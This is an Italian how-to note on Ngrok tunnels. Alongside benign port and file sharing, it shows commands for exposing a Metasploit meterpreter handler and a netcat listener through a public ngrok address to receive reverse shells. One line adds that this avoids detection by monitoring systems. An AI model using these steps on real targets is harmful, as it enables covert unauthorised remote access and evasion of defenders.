tags: Ngrok Ngrok_reverve_shelll


Ngrok è uno strumento che permette di creare un server web al quale possono accedere solo coloro a cui è stato dato l’URL generato da Ngrok, la configurazione è abbastanza semplice:

Installazione

  1. Scarica Ngrok dal sito ufficiale:
  2. Estrai l’eseguibile e spostalo in una directory accessibile (es. /usr/local/bin).

Esecuzione

  • Esposizione di un server HTTP locale (es. un’app su localhost:8080):
ngrok http 8080

Esposizione di un server TCP:

ngrok tcp 22

Questo è utile per tunnel SSH o altri servizi TCP.

Utilizzo con Metasploit

  1. Avvia un listener con Metasploit:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 127.0.0.1
set lport 4444
run

Avvia Ngrok per creare un tunnel pubblico verso il listener:

ngrok tcp 4444

Usa l’URL generato da Ngrok come LHOST nel payload.

Ricevere una Reverse Shell

Se vuoi ricevere una reverse shell da un sistema target:

  1. Avvia un listener netcat sulla tua macchina:
nc -lvp 4444

Esponi la porta 4444 con Ngrok:

ngrok tcp 4444
  1. Ngrok genererà un indirizzo TCP pubblico (ad esempio, tcp://0.tcp.ngrok.io:12345).

  2. Configura l’exploit o il payload per connettersi a quell’indirizzo.

  3. Questo può tornare utile quando non vogliamo farci sgamare dai sistemi di monitoraggio dato che i dati sono crittogafati e possibilmente non controllati.

Condividere un File

Se vuoi condividere un file:

  1. Avvia un server web locale: `
python3 -m http.server 8000

Esponi la porta 8000 con Ngrok:

ngrok http 8000
  1. Condividi l’URL generato da Ngrok per permettere il download del file.